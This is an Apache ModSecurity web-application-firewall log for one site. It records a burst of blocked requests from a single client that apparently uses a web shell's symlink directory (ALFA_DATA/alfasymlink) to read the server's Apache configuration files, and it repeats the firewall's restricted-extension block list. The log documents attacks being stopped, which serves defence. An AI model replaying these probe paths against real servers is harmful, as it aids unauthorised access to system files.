[Sun Oct 25 14:29:38.607463 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52425] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "at5KkpKSFHHoiviJa5dqhgAAAAo"]
[Sun Oct 25 14:29:38.611723 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52432] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/180_mod_dir.conf"] [unique_id "at5KkrmAKu18kw3DYL-PLgAAAA8"]
[Sun Oct 25 14:29:38.612013 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52432] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/180_mod_dir.conf"] [unique_id "at5KkrmAKu18kw3DYL-PLgAAAA8"]
[Sun Oct 25 14:29:38.612276 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52432] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/180_mod_dir.conf"] [unique_id "at5KkrmAKu18kw3DYL-PLgAAAA8"]
[Sun Oct 25 14:29:38.634188 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52433] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "at5KkoptOg7YDpX4xSOWsgAAABA"]
[Sun Oct 25 14:29:38.634464 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52433] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "at5KkoptOg7YDpX4xSOWsgAAABA"]
[Sun Oct 25 14:29:38.634731 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52433] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "at5KkoptOg7YDpX4xSOWsgAAABA"]
[Sun Oct 25 14:29:38.639197 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52443] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/210_mod_filter.conf"] [unique_id "at5KkiEQblycZeXKbm74jgAAAAU"]
[Sun Oct 25 14:29:38.639489 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52443] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/210_mod_filter.conf"] [unique_id "at5KkiEQblycZeXKbm74jgAAAAU"]
[Sun Oct 25 14:29:38.639837 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52443] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/210_mod_filter.conf"] [unique_id "at5KkiEQblycZeXKbm74jgAAAAU"]
[Sun Oct 25 14:29:38.642260 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52454] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/215_mod_headers.conf"] [unique_id "at5Kkr6D6j04LiS6yScWMQAAAAI"]
[Sun Oct 25 14:29:38.642445 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52454] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/215_mod_headers.conf"] [unique_id "at5Kkr6D6j04LiS6yScWMQAAAAI"]
[Sun Oct 25 14:29:38.642695 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52454] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/215_mod_headers.conf"] [unique_id "at5Kkr6D6j04LiS6yScWMQAAAAI"]
[Sun Oct 25 14:29:38.655817 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52471] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at5KkkYY36dVli09oOhVXAAAAAw"]
[Sun Oct 25 14:29:38.656034 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52471] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at5KkkYY36dVli09oOhVXAAAAAw"]
[Sun Oct 25 14:29:38.656288 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52471] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/225_mod_include.conf"] [unique_id "at5KkkYY36dVli09oOhVXAAAAAw"]
[Sun Oct 25 14:29:38.745959 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52473] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "at5KkmT7SK5esjpOWSjqrQAAABY"]
[Sun Oct 25 14:29:38.746252 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52473] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "at5KkmT7SK5esjpOWSjqrQAAABY"]
[Sun Oct 25 14:29:38.746548 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52473] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/235_mod_log_config.conf"] [unique_id "at5KkmT7SK5esjpOWSjqrQAAABY"]
[Sun Oct 25 14:29:38.805155 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52478] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/250_mod_logio.conf"] [unique_id "at5KkipTNKVnE1oMPCDtFgAAAAA"]
[Sun Oct 25 14:29:38.805469 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/250_mod_logio.conf"] [unique_id "at5KkipTNKVnE1oMPCDtFgAAAAA"]
[Sun Oct 25 14:29:38.805771 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/250_mod_logio.conf"] [unique_id "at5KkipTNKVnE1oMPCDtFgAAAAA"]
[Sun Oct 25 14:29:38.838197 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52506] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNVAAAAAE"]
[Sun Oct 25 14:29:38.838459 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNVAAAAAE"]
[Sun Oct 25 14:29:38.838732 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "at5Kkqi7oKzIlJx03ipNVAAAAAE"]
[Sun Oct 25 14:29:38.858209 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52509] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/275_mod_negotiation.conf"] [unique_id "at5KkhH5LAgtrvBIlo321QAAABU"]
[Sun Oct 25 14:29:38.858413 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52519] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/280_mod_proxy.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmojgAAAA4"]
[Sun Oct 25 14:29:38.858433 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52509] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/275_mod_negotiation.conf"] [unique_id "at5KkhH5LAgtrvBIlo321QAAABU"]
[Sun Oct 25 14:29:38.858663 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52519] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/280_mod_proxy.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmojgAAAA4"]
[Sun Oct 25 14:29:38.858671 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52509] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/275_mod_negotiation.conf"] [unique_id "at5KkhH5LAgtrvBIlo321QAAABU"]
